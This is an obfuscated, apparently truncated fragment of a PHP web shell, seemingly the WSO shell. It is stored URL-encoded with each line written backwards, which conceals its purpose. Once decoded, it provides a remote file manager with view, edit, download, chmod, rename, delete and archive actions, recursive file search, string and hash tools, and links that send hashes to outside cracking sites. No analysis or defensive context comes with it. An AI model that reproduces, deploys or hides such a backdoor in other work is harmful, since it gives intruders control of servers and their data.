e%09%0D%0A%3B%29%27hcuoT%27+%2C%27emaneR%27+%2C%27domhC%27+%2C%27tidE%27+%2C%27pmudxeH%27+%2C%27daolnwoD%27+%2C%27thgilhgiH%27+%2C%27weiV%27%28yarra+%3D+m%24%09%09%0D%0A%29+%29%5D%271p%27%5BTSOP_%24%28elif_si+%28fi%09%0D%0A%3B%27weiv%27+%3D+%5D%272p%27%5BTSOP_%24%09%09%0D%0A%29+%29%5D%272p%27%5BTSOP_%24%28ytpme+%28fi%09%0D%0A%3B%27%3Erb%3C%3Erb%3C%27.%29%29%5D%271p%27%5BTSOP_%24%28emitmelif%2C%27s%3Ai%3AH+d-m-Y%27%28etad.%27+%3Enaps%2F%3C%3Aemit+yfidoM%3Enaps%3C+%27.%29%29%5D%271p%27%5BTSOP_%24%28emitaelif%2C%27s%3Ai%3AH+d-m-Y%27%28etad.%27+%3Enaps%2F%3C%3Aemit+sseccA%3Enaps%3C+%27.%29%29%5D%271p%27%5BTSOP_%24%28emitcelif%2C%27s%3Ai%3AH+d-m-Y%27%28etad.%27+%3Enaps%2F%3C%3Aemit+egnahC%3Enaps%3C%27+ohce%09%0D%0A%3B%27%3Erb%3C%27.%5D%27eman%27%5Bdig%24.%27%2F%27.%5D%27eman%27%5Bdiu%24.%27+%3Enaps%2F%3C%3ApuorG%2FrenwO%3Enaps%3C+%27.%29%5D%271p%27%5BTSOP_%24%28roloCsmrePosw.%27+%3Enaps%2F%3C%3AnoissimreP%3Enaps%3C+%27.%29%27-%27%3A%29%29%5D%271p%27%5BTSOP_%24%28eziselif%28eziSweiVosw%3F%29%5D%271p%27%5BTSOP_%24%28elif_si%28.%27+%3Enaps%2F%3C%3AeziS%3Enaps%3C+%27.%29%29%5D%271p%27%5BTSOP_%24%28emanesab%40%28srahclaicepslmth.%27+%3Enaps%2F%3C%3AemaN%3Enaps%3C%27+ohce%09%0D%0A%3B%29%29%5D%271p%27%5BTSOP_%24%28puorgelif%40%28digrgteg_xisop%40+%3D+dig%24+esle+%7D%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28puorgelif%40+%3D+%5D%27eman%27%5Bdig%24%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28renwoelif%40+%3D+%5D%27eman%27%5Bdiu%24%09%09%0D%0A%7B+%29diu%24%21%28fi%09%0D%0A%3B%29%29%5D%271p%27%5BTSOP_%24%28renwoelif%40%28diuwpteg_xisop%40+%3D+diu%24%09%0D%0A%7D%09%0D%0A%3Bnruter%09%09%0D%0A%3B%29%28retooFosw%09%09%0D%0A%3B%27stsixe+ton+eliF%27+ohce%09%09%0D%0A%7B+%29+%29%5D%271p%27%5BTSOP_%24%40%28stsixe_elif%21+%28fi%09%0D%0A%3B%27%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Csloot+eliF%3E1h%3C%27+ohce%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%7D%09%0D%0A%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29pf%24%28esolcf%09%09%09%09%0D%0A%3B%22tide%22+%3D+%5D%272p%27%5BTSOP_%24%09%09%09%09%0D%0A%7B+%29pf%24%28fi%09%09%09%0D%0A%3B%29%27w%27+%2C%5D%271p%27%5BTSOP_%24%28nepof%40+%3D+pf%24%09%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28stsixe_elif%21%28fi%09%09%0D%0A%7B+%29+%27elifkm%27+%3D%3D+%5D%272p%27%5BTSOP_%24%40+%28fi%09%0D%0A%7D%09%0D%0A%3Btixe%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29pf%24%28esolcf%09%09%09%09%0D%0A%3B%294201+%2Cpf%24%28daerf%40+ohce%09%09%09%09%09%0D%0A%29%29pf%24%28foef%40%21%28elihw%09%09%09%09%0D%0A%7B+%29pf%24%28fi%09%09%09%0D%0A%3B%29%22r%22+%2C%5D%271p%27%5BTSOP_%24%28nepof%40+%3D+pf%24%09%09%09%0D%0A%3B%29%22maerts-tetco%2Fnoitacilppa+%3AepyT-tnetnoC%22%28redaeh++++++++++++++++%0D%0Aesle+%7D%09%09%09%0D%0A%3B%29epyt%24+.+%22+%3AepyT-tnetnoC%22%28redaeh%09%09%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28epyt_tnetnoc_emim%40+%3D+epyt%24%09%09%09%09%0D%0A%7B+%29%29%22epyt_tnetnoc_emim%22%28stsixe_noitcnuf%28+fi%09%09%09%0D%0A%3B%29%29%5D%271p%27%5BTSOP_%24%28emanesab.%22%3Demanelif+%3Btnemhcatta+%3AnoitisopsiD-tnetnoC%22%28redaeh%09%09%09%0D%0A%3B%296904+%2C%22reldnahzg_bo%22%28trats_bo%09%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28elbadaer_si%40+%26%26+%29%5D%271p%27%5BTSOP_%24%28elif_si%40%28fi%09%09%0D%0A%7B+%29%27daolnwod%27%3D%3D%5D%272p%27%5BTSOP_%24%40%28fi%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28edocedlru+%3D+%5D%271p%27%5BTSOP_%24%09%09%0D%0A%29+%29%5D%271p%27%5BTSOP_%24%28tessi+%28fi%09%0D%0A%7B+%29%28slooTseliFnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%22%3Evid%2F%3C%3Emrof%2F%3C%09%09%0D%0A%3Erb%3C%3E%22%5C%29%28timbus.fh.tnemucod%3B%27php.xedni%2Fem.rofkcarc%2F%2F%3Aptth%27%3Dnoitca.fh.tnemucod%22%5C%3Dkcilcno+%27em.rofkcarc%27%3Deulav+%27nottub%27%3Depyt+tupni%3C++++++++++++%0D%0A%3Erb%3C%3E%22%5C%29%28timbus.fh.tnemucod%3B%275dm%3Ds%26%27%2Beulav.hsah.fh.tnemucod%2B%27%3Dq%3F%2Fmoc.ezionder.5dm%2F%2F%3Aptth%27%3Dnoitca.fh.tnemucod%22%5C%3Dkcilcno+%27moc.ezionder.5dm%27%3Deulav+%27nottub%27%3Depyt+tupni%3C%09%09%09%0D%0A%3Erb%3C%3E%22%5C%29%28timbus.fh.tnemucod%3B%27php.xedni%2Fur.gnikcarchsah%2F%2F%3Asptth%27%3Dnoitca.fh.tnemucod%22%5C%3Dkcilcno+%27ur.gnikcarchsah%27%3Deulav+%27nottub%27%3Depyt+tupni%3C%09%09%09%0D%0A%3E%2F%27dnif%27%3Deulav+%27tca%27%3Deman+%27neddih%27%3Depyt+tupni%3C++++++++++++%0D%0A%3Erb%3C%3E%27%3Bxp002%3Ahtdiw%27%3Delyts+%27hsah%27%3Deman+%27txet%27%3Depyt+tupni%3C%09%09%09%0D%0A%3E%27fh%27%3Deman+%27knalb_%27%3Dtegrat+%27tsop%27%3Ddohtem+mrof%3C%09%09%0D%0A%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3C%3Ahsah+rof+hcraeS%3E1h%3C%3Erb%3C%3Evid%2F%3C%22+ohce%09%0D%0A%3B%29%5D%27c%27%5BTSOP_%24%28bolGevisruceRosw%09%09%0D%0A%29%5D%273p%27%5BTSOP_%24%40%28fi%09%0D%0A%7D%09%0D%0A%7D%09%09%0D%0A%7D%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%22%3Erb%3C%3Ea%2F%3C%22.%29meti%24%28srahclaicepslmth.%22%3E%27%29%22%5C%22%5C%2C%22%5Cweiv%22%5C+%2C%22%5C%22.%29meti%24%28edocnelru.%22%22%5C%2Cllun%2C%22%5CslooTseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C%22+ohce%09%09%09%09%09%09%0D%0A%29eslaf%3D%3D%21%29%5D%272p%27%5BTSOP_%24+%2C%29meti%24%28stnetnoc_teg_elif%28soprts%40+%7C%7C+%29%5D%272p%27%5BTSOP_%24%28ytpme%28fi%09%09%09%09%09%0D%0A%7B+esle+%7D%09%09%09%09%0D%0A%3B%29meti%24%28bolGevisruceRosw%09%09%09%09%09%09%0D%0A%29meti%24%3D%21htap%24%28fi%09%09%09%09%09%0D%0A%7B%29%29meti%24%28rid_si%40%28fi%09%09%09%09%0D%0A%7B+%29meti%24+sa+shtap%24%28hcaerof%09%09%09%0D%0A%7B+%29%29shtap%24%28tnuoc%40%26%26%29shtap%24%28yarra_si%28fi%09%09%0D%0A%3B%29%29%29RIDYLNO_BOLG+%2C%27%2A%27.htap%24%28bolg%40+%2C%29%5D%273p%27%5BTSOP_%24.htap%24%28bolg%40%28egrem_yarra%40%28euqinu_yarra%40+%3D+shtap%24%09%09%0D%0A%3B%27%2F%27%3D.htap%24%09%09%09%0D%0A%29%27%2F%27+%3D%21+%291-+%2Chtap%24%28rtsbus%28fi%09%09%0D%0A%7B+%29htap%24%28bolGevisruceRosw+noitcnuf%09%0D%0A%0D%0A%3B%22%3Emrof%2F%3C%3Eelbat%2F%3C%09%09%09%0D%0A%3Ert%2F%3C%3Edt%2F%3C%3E%27%3E%3E%27%3Deulav+%27timbus%27%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3C%3Edt%3C%3Ert%3C%09%09%09%0D%0A%3Ert%2F%3C%3Edt%2F%3C%3E%27%25001%3Ahtdiw%27%3Delyts+%27%2A%27%3Deulav+%27emanelif%27%3Deman+%27txet%27%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3C%3AemaN%3Edt%3C%3Ert%3C%09%09%09%0D%0A%3Ert%2F%3C%3Edt%2F%3C%3E%27%25001%3Ahtdiw%27%3Delyts+%27%22.+%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth+.%22%27%3Deulav+%27dwc%27%3Deman+%27txet%27%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3C%3AhtaP%3Edt%3C%3Ert%3C%09%09%09%0D%0A%3Ert%2F%3C%3Edt%2F%3C%3E%27%25001%3Ahtdiw%27%3Delyts+%27txet%27%3Deman+%27txet%27%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3C%3AtxeT%3E%27%251%27%3Dhtdiw+dt%3C%3Ert%3C%09%09%09%0D%0A%3E%27%2505%27%3Dhtdiw+%270%27%3Dgnicapsllec+%271%27%3Dgniddapllec+elbat%3C%3E%22%5C%3Beslaf+nruter%3B%29eulav.emanelif.siht%2Ceulav.txet.siht%2Cllun%2Ceulav.dwc.siht%2Cllun%28g%22%5C%3Dtimbusno+mrof%3C%09%09%0D%0A%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3C%3Aselif+hcraeS%3E1h%3C%3Erb%3C%3Evid%2F%3C%3Eerp%2F%3C%22ohce%09%0D%0A%7D%09%0D%0A%3B%29%29%5D%272p%27%5BTSOP_%24%28%5D%271p%27%5BTSOP_%24%28srahclaicepslmth+ohce%29%29slooTgnirts%24+%2C%5D%271p%27%5BTSOP_%24%28yarra_ni%28fi%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi%09%0D%0A%3B%22%3E%27tuptuOrts%27%3Ddi+%27xp5%3Apot-nigram%22.%29%27%27%3A%27%3Benon%3Ayalpsid%27%3F%29%5D%271p%27%5BTSOP_%24%28ytpme%28.%22%27%3Delyts+%271lm%27%3Dssalc+erp%3C%3Emrof%2F%3C%3Eaeratxet%2F%3C%22.%29%29%5D%272p%27%5BTSOP_%24%40%28srahclaicepslmth%3A%27%27%3F%29%5D%271p%27%5BTSOP_%24%28ytpme%28.%22%3Eaeragib%3Dssalc+%27xp5%3Apot-nigram%27%3Delyts+%27tupni%27%3Deman+aeratxet%3C%3Erb%3CXAJA+gnisu+dnes+%3E+1%3Deulav+xaja%3Deman+xobkcehc%3Depyt+tupni%3C+%3E%2F%27%3E%3E%27%3Deulav+%27timbus%27%3Depyt+tupni%3C%3Etceles%2F%3C%22+ohce%09%09%0D%0A%3B%22%3Enoitpo%2F%3C%22.k%24.%22%3E%27%22.%29v%24%28srahclaicepslmth.%22%27%3Deulav+noitpo%3C%22+ohce%09%09%0D%0A%29v%24+%3E%3D+k%24+sa+slooTgnirts%24%28hcaerof%09%0D%0A%3B%22%3E%27looTtceles%27%3Deman+tceles%3C%3E%27%3Beslaf+nruter+%7D%3B%29eulav.tupni.siht%2Ceulav.looTtceles.siht%2Cllun%2Cllun%28g%7Besle%7D%3B%29eulav.tupni.siht%2Ceulav.looTtceles.siht%2Cllun%2Cllun%28a%7B%29dekcehc.xaja.siht%28fi%27%3DtimbuSno+%27mroFsloot%27%3Deman+mrof%3C%22+ohce%09%0D%0A%3B%27%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Csnoisrevnoc+gnirtS%3E1h%3C%27+ohce%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%3B%290+%2C%27xaja%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW%09%09%0D%0A%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%26%26%29%5D%27xaja%27%5BTSOP_%24%28ytpme%28fi++++%0D%0A%7D%09%0D%0A%3Btixe%09%09%0D%0A%3Bpmet%24+%2C%22n%5C%22+%2C%29pmet%24%28nelrts+ohce%09%09%0D%0A%3B%22n%5C%3B%27%22.%29%220%5C%27%5C%5Ct%5Cr%5Cn%5C%22%2C%29%29%28naelc_teg_bo%28srahclaicepslmth%28sehsalscdda.%22%27%3DLMTHrenni.%29%27tuptuOrts%27%28dIyBtnemelEteg.tnemucod%3B%27%27%3Dyalpsid.elyts.%29%27tuptuOrts%27%28dIyBtnemelEteg.tnemucod%22+%3D+pmet%24%09%09%0D%0A%3B%29%5D%272p%27%5BTSOP_%24%28%5D%271p%27%5BTSOP_%24+ohce%09%09%09%0D%0A%29%29slooTgnirts%24+%2C%5D%271p%27%5BTSOP_%24%28yarra_ni%28fi%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%3B%29eurt+%2C%27xaja%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW%09%09%0D%0A%7B+%29%29%5D%27xaja%27%5BTSOP_%24%28tessi%28fi%09%0D%0A%3B%29%09%0D%0A%2C%27nelrts%27+%3E%3D+%27htgnel+gnirtS%27%09%09%0D%0A%2C%27srahclaicepslmth%27+%3E%3D+%27srahclaicepslmtH%27%09%09%0D%0A%2C%27reppuotrts%27+%3E%3D+%27esac+reppu+ot+gnirtS%27%09%09%0D%0A%2C%27rewolotrts%27+%3E%3D+%27esac+rewol+ot+gnirtS%27%09%09%0D%0A%2C%27cednib%27+%3E%3D+%27CED+ot+NIB%27%09%09%0D%0A%2C%27xehnib%27+%3E%3D+%27XEH+ot+NIB%27%09%09%0D%0A%2C%27nibced%27+%3E%3D+%27NIB+ot+CED%27%09%09%0D%0A%2C%27xehced%27+%3E%3D+%27XEH+ot+CED%27%09%09%0D%0A%2C%27nib2xeh%27+%3E%3D+%27NIB+ot+XEH%27%09%09%0D%0A%2C%27cedxeh%27+%3E%3D+%27CED+ot+XEH%27%09%09%0D%0A%2C%27iicsa2xeh%27+%3E%3D+%27IICSA+ot+XEH%27%09%09%0D%0A%2C%27xeh2iicsa%27+%3E%3D+%27XEH+ot+IICSA%27%09%09%0D%0A%2C%2723crc%27+%3E%3D+%2723CRC%27%09%09%0D%0A%2C%27tpyrc%27+%3E%3D+%27tpyrc%27%09%09%0D%0A%2C%271ahs%27+%3E%3D+%27hsah+1ahs%27%09%09%0D%0A%2C%275dm%27+%3E%3D+%27hsah+5dm%27%09%09%0D%0A%2C%27edocnelru_lluf%27+%3E%3D+%27edocnelru+lluF%27%09%09%0D%0A%2C%27edocedlru%27+%3E%3D+%27edoced+lrU%27%09%09%0D%0A%2C%27edocnelru%27+%3E%3D+%27edocne+lrU%27%09%09%0D%0A%2C%27edoced_46esab%27+%3E%3D+%27edoced+46esaB%27%09%09%0D%0A%2C%27edocne_46esab%27+%3E%3D+%27edocne+46esaB%27%09%09%0D%0A%28yarra+%3D+slooTgnirts%24%09%0D%0A%7D%7D%3B%29r%24%28reppuotrts+nruter%3B%29%29%5Di%24%5Bp%24%28dro%28xehced.%27%25%27+%3D.r%24%29i%24%2B%2B%3B%29p%24%28nelrts%3Ci%24%3B0%3Di%24%28rof%3B%27%27%3Dr%24%7B%29p%24%28edocnelru_lluf+noitcnuf%7B+%29%29%27edocnelru_lluf%27%28stsixe_noitcnuf%21%28fi%09%0D%0A%7D%7D%3B%29r%24%28reppuotrts+nruter%3B%29%29%5Di%24%5Bp%24%28dro%2C%27X20%25%27%28ftnirps+%3D.r%24%29i%24%2B%2B%3B%29p%24%28nelrts%3Ci%24%3B0%3Di%24%28rof%3B%27%27%3Dr%24%7B%29p%24%28xeh2iicsa+noitcnuf%7B+%29%29%27xeh2iicsa%27%28stsixe_noitcnuf%21%28fi%09%0D%0A%7D%7D%3Br%24+nruter%7D%3B%29%29%5D1%2Bi%24%5Bp%24.%5Di%24%5Bp%24%28cedxeh%28rhc%3D.r%24%7B%292%3D%2Bi%24%3B%29p%24%28neLrts%3Ci%24%3B0%3Di%24%28rof%3B%27%27%3Dr%24%7B%29p%24%28iicsa2xeh+noitcnuf%7B+%29%29%27iicsa2xeh%27%28stsixe_noitcnuf%21%28fi%09%0D%0A%7D%7D%3B%29%29p%24%28cednib%28xehced+nruter%7B+%29p%24%28xehnib+noitcnuf%7B+%29%29%27xehnib%27%28stsixe_noitcnuf%21%28fi++++%0D%0A%7D%7D%3B%29%29p%24%28cedxeh%28nibced+nruter%7B+%29p%24%28nib2xeh+noitcnuf%7B+%29%29%27nib2xeh%27%28stsixe_noitcnuf%21%28fi%09%0D%0A%7B+%29%28slooTgnirtSnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%22%3Evid%2F%3C%3Eelbat%2F%3C%3Emrof%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3E%27%3E%3E%27%3Deulav+%27timbus%27%3Depyt+tupni%3C%22+ohce++++%0D%0A%3B%22%3Bpsbn%26%3E%27%22+.+%29%27zg.rat%27%3A%27piz%27%3F%27piz%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28+.+%22.%22+.+%29%22siH_dmY%22%28etad+.+%22_osw%27%3Deulav+2p%3Deman+txet%3Depyt+tupni%3C+%3Aeman+elif%22+ohce++++++++%0D%0A%29%29%29%27rat%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28+%7C%7C+%29%27piz%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28%28+%26%26+%29%5D%27f%27%5BEIKOOC_%24%28tnuoc%40+%26%26+%29%5D%27tca%27%5BEIKOOC_%24%28ytpme%21%28fi++++%0D%0A%3B%22%3Bpsbn%26%3Etceles%2F%3C%22+ohce++++%0D%0A%3B%22%3Enoitpo%2F%3CsserpmoC+%2F+etsaP%3E%27etsap%27%3Deulav+noitpo%3C%22+ohce++++++++%0D%0A%29%29%5D%27f%27%5BEIKOOC_%24%28tnuoc%40+%26%26+%29%5D%27tca%27%5BEIKOOC_%24%28ytpme%21%28fi++++%0D%0A%3B%22%3Enoitpo%2F%3C%29zg.rat%28+sserpmoC%3E%27rat%27%3Deulav+noitpo%3C%22+ohce++++%0D%0A%3B%22%3Enoitpo%2F%3C%29piz%28+sserpmocnU%3E%27piznu%27%3Deulav+noitpo%3C%3Enoitpo%2F%3C%29piz%28+sserpmoC%3E%27piz%27%3Deulav+noitpo%3C%22+ohce++++++++%0D%0A%29%29%27evihcrApiZ%27%28stsixe_ssalc%28fi++++%0D%0A%3B%22%3Enoitpo%2F%3CeteleD%3E%27eteled%27%3Deulav+noitpo%3C%3Enoitpo%2F%3CevoM%3E%27evom%27%3Deulav+noitpo%3C%3Enoitpo%2F%3CypoC%3E%27ypoc%27%3Deulav+noitpo%3C%3E%271p%27%3Deman+tceles%3C%09%0D%0A%3E%27%22.%29%27%27%3A%5D%27tesrahc%27%5BTSOP_%24%3F%29%5D%27tesrahc%27%5BTSOP_%24%28tessi%28+.%22%27%3Deulav+tesrahc%3Deman+neddih%3Depyt+tupni%3C%09%0D%0A%3E%27%22.+%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth+.+%22%27%3Deulav+c%3Deman+neddih%3Depyt+tupni%3C%09%0D%0A%3E%27naMseliF%27%3Deulav+a%3Deman+neddih%3Depyt+tupni%3C%09%0D%0A%3E7%3Dnapsloc+dt%3C%3Ert%3C%22+ohce%09%0D%0A%7D%09%0D%0A%3B1%3A0%3Fl%24+%3D+l%24%09%09%0D%0A%3B%27%3Ert%2F%3C%3Edt%2F%3C%27.%29%27%27%3A%27%3Ea%2F%3CD%3E%22%29%27%5Cdaolnwod%27%5C+%2C%27%5C%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%27%5C%2Cllun%2C%27%5CslooTseliF%27%5C%28g%22%3Dkcilcno+%22%23%22%3Dferh+a%3C+%3Ea%2F%3CE%3E%22%29%27%5Ctide%27%5C+%2C%27%5C%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%27%5C%2Cllun%2C%27%5CslooTseliF%27%5C%28g%22%3Dkcilcno+%22%23%22%3Dferh+a%3C+%27%3F%29%27elif%27%3D%3D%5D%27epyt%27%5Bf%24%28%28.%27%3Ea%2F%3CT%3E%22%29%27%5Chcuot%27%5C+%2C%27%5C%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%27%5C%2Cllun%2C%27%5CslooTseliF%27%5C%28g%22%3Dkcilcno+%22%23%22%3Dferh+a%3C+%3Ea%2F%3CR%3E%22%29%27%5Cemaner%27%5C+%2C%27%5C%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%27%5C%2Cllun%2C%27%5CslooTseliF%27%5C%28g%22%3Dkcilcno+%22%23%22%3Dferh+a%3C%3Edt%3C%3Edt%2F%3C%27.%09%09%09%0D%0A%5D%27smrep%27%5Bf%24.%27%3E%22%29%27%5Cdomhc%27%5C%2C%27%5C%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%27%5C%2Cllun%2C%27%5CslooTseliF%27%5C%28g%22%3Dkcilcno+%23%3Dferh+a%3C%3Edt%3C%3Edt%2F%3C%27.%5D%27puorg%27%5Bf%24.%27%2F%27.%5D%27renwo%27%5Bf%24.%27%3Edt%3C%3Edt%2F%3C%27.%5D%27yfidom%27%5Bf%24.%27%3Edt%3C%3Edt%2F%3C%27.%29%5D%27epyt%27%5Bf%24%3A%29%5D%27ezis%27%5Bf%24%28eziSweiVosw%3F%29%27elif%27%3D%3D%5D%27epyt%27%5Bf%24%28%28.%27%3Edt%3C%3Edt%2F%3C%3Ea%2F%3C%27.%29%27%3Eb%2F%3C%5D+%27+.+%29%5D%27eman%27%5Bf%24%28srahclaicepslmth+.+%27+%5B%3Eb%3C%3E%27+.+%29%22%27%7D%5D%27knil%27%5Bf%24%7B%27%3Deltit%22+%3A+%27%27+%3F+%29%5D%27knil%27%5Bf%24%28+ytpme%28+.+%27+%22%3B%29%27%5C%27.%5D%27htap%27%5Bf%24.%27%27%5C%2C%27%5CnaMseliF%27%5C%28g%27%3A%29%5D%27eman%27%5Bf%24%28srahclaicepslmth.%27%3E%22%29%27%5Cweiv%27%5C+%2C%27%5C%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%27%5C%2Cllun%2C%27%5CslooTseliF%27%5C%28g%27%3F%29%27elif%27%3D%3D%5D%27epyt%27%5Bf%24%28%28.%27%22%3Dkcilcno+%23%3Dferh+a%3C%3Edt%3C%3Edt%2F%3C%3Exbkhc%3Dssalc+%22%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%22%3Deulav+%22%5D%5Bf%22%3Deman+xobkcehc%3Depyt+tupni%3C%3Edt%3C%3E%27.%29%27%27%3A%271l%3Dssalc+%27%3Fl%24%28.%27rt%3C%27+ohce%09%09%0D%0A%7B+%29f%24+sa+selif%24%28hcaerof%09%0D%0A%3B0+%3D+l%24%09%0D%0A%3B%29selif%24+%2Csrid%24%28egrem_yarra+%3D+selif%24%09%0D%0A%3B%29%22pmCosw%22+%2Csrid%24%28trosu%09%0D%0A%3B%29%22pmCosw%22+%2Cselif%24%28trosu%09%0D%0A%7D%09%0D%0A%3B%291-%3A1%3F%5D1%5B%5D%27tros%27%5BSLABOLG%24%28%2A%291+%3A+1-+%3F+%29%5D%27ezis%27%5Bb%24+%3C+%5D%27ezis%27%5Ba%24%28%28+nruter%09%09%09%0D%0Aesle%09%09%0D%0A%3B%291-%3A1%3F%5D1%5B%5D%27tros%27%5BSLABOLG%24%28%2A%29%29%5D%5D0%5B%5D%27tros%27%5BSLABOLG%24%5Bb%24%28rewolotrts+%2C%29%5D%5D0%5B%5D%27tros%27%5BSLABOLG%24%5Ba%24%28rewolotrts%28pmcrts+nruter%09%09%09%0D%0A%29%27ezis%27+%3D%21+%5D0%5B%5D%27tros%27%5BSLABOLG%24%28fi%09%09%0D%0A%7B+%29b%24+%2Ca%24%28pmCosw+noitcnuf%09%0D%0A%3Btros%24+%3D+%5D%27tros%27%5BSLABOLG%24%09%0D%0A%7D%09%0D%0A%3B%29%29%27rid%27+%3E%3D+%27epyt%27%28yarra+%2Cpmt%24%28egrem_yarra+%3D+%5D%5Bsrid%24%09%09%09%0D%0A%29%29%5Di%24%5BtnetnoCrid%24+.+%5D%27dwc%27%5BSLABOLG%24%28rid_si%40%28fiesle%09%09%0D%0A%3B%29%29%29%5D%27htap%27%5Bpmt%24%28knildaer+%3E%3D+%27knil%27+%2C%27knil%27+%3E%3D+%27epyt%27%28yarra+%2Cpmt%24%28egrem_yarra+%3D+%5D%5Bsrid%24%09%09%09%0D%0A%29%29%5Di%24%5BtnetnoCrid%24+.+%5D%27dwc%27%5BSLABOLG%24%28knil_si%40%28fiesle%09%09%0D%0A%3B%29%29%27elif%27+%3E%3D+%27epyt%27%28yarra+%2Cpmt%24%28egrem_yarra+%3D+%5D%5Bselif%24%09%09%09%0D%0A%29%29%5Di%24%5BtnetnoCrid%24+.+%5D%27dwc%27%5BSLABOLG%24%28elif_si%40%28fi%09%09%0D%0A%3B%29%09%09%09%09%09%0D%0A%29%5Di%24%5BtnetnoCrid%24%28puorgelif%40%3A%5D%27eman%27%5Brg%24%3F%5D%27eman%27%5Brg%24+%3E%3D+%27puorg%27+%09%09%09%09%09%0D%0A%2C%29%5Di%24%5BtnetnoCrid%24%28renwoelif%40%3A%5D%27eman%27%5Bwo%24%3F%5D%27eman%27%5Bwo%24+%3E%3D+%27renwo%27+%09%09%09%09%09%0D%0A%2C%29%5Di%24%5BtnetnoCrid%24.%5D%27dwc%27%5BSLABOLG%24%28eziselif%40+%3E%3D+%27ezis%27+%09%09%09%09%09%0D%0A%2C%29%5Di%24%5BtnetnoCrid%24+.+%5D%27dwc%27%5BSLABOLG%24%28roloCsmrePosw+%3E%3D+%27smrep%27+%09%09%09%09%09%0D%0A%2C%29%29%5Di%24%5BtnetnoCrid%24+.+%5D%27dwc%27%5BSLABOLG%24%28emitmelif%40+%2C%27s%3Ai%3AH+d-m-Y%27%28etad+%3E%3D+%27yfidom%27+%09%09%09%09%09%0D%0A%2C%5Di%24%5BtnetnoCrid%24.%5D%27dwc%27%5BSLABOLG%24+%3E%3D+%27htap%27+%09%09%09%09%09%0D%0A%2C%5Di%24%5BtnetnoCrid%24+%3E%3D+%27eman%27%28yarra+%3D+pmt%24%09%09%0D%0A%3B%29%29%5Di%24%5BtnetnoCrid%24%28puorgelif%40%28digrgteg_xisop%40+%3D+rg%24%09%09%0D%0A%3B%29%29%5Di%24%5BtnetnoCrid%24%28renwoelif%40%28diuwpteg_xisop%40+%3D+wo%24%09%09%0D%0A%7B+%29%2B%2Bi%24%3Bn%24%3Ci%24%3B0%3Di%24%28rof%09%0D%0A%3B%29tnetnoCrid%24%28tnuoc+%3D+n%24%09%0D%0A%3B%29%28yarra+%3D+selif%24+%3D+srid%24%09%0D%0A%3B%22%3Ert%2F%3C%3Eht%2F%3CsnoitcA%3Eht%3C%3Eht%2F%3C%3Ea%2F%3CsnoissimreP%3E%27%29%22%5C%22.%291%3A0%3F%5D1%5Btros%24%28.%22_smrep_s%22%5C%2Cllun%2C%22%5CnaMseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C%3Eht%3C%3Eht%2F%3CpuorG%2FrenwO%3Eht%3C%3Eht%2F%3C%3Ea%2F%3CyfidoM%3E%27%29%22%5C%22.%291%3A0%3F%5D1%5Btros%24%28.%22_yfidom_s%22%5C%2Cllun%2C%22%5CnaMseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C%3Eht%3C%3Eht%2F%3C%3Ea%2F%3CeziS%3E%27%29%22%5C%22.%291%3A0%3F%5D1%5Btros%24%28.%22_ezis_s%22%5C%2Cllun%2C%22%5CnaMseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C%3Eht%3C%3Eht%2F%3C%3Ea%2F%3CemaN%3E%27%29%22%5C%22.%291%3A0%3F%5D1%5Btros%24%28.%22_eman_s%22%5C%2Cllun%2C%22%5CnaMseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C%3Eht%3C%3Eht%2F%3C%3Exbkhc%3Dssalc+%27%29%28as%27%3Dkcilcno+xobkcehc%3Depyt+tupni%3C%3E%27xp31%27%3Dhtdiw+ht%3C%3Ert%3C%3Etsop%3Ddohtem+selif%3Deman+mrof%3C%0D%0A%3E%272%27%3Dgniddapllec+%270%27%3Dgnicapsllec+%27niam%27%3Dssalc+%27%25001%27%3Dhtdiw+elbat%3C%0D%0A%3Etpircs%2F%3C%0D%0A%7D%09%0D%0A%3Bdekcehc.%5D0%5Bstnemele.selif.d+%3D+dekcehc.%5Di%5Bstnemele.selif.d%09%09%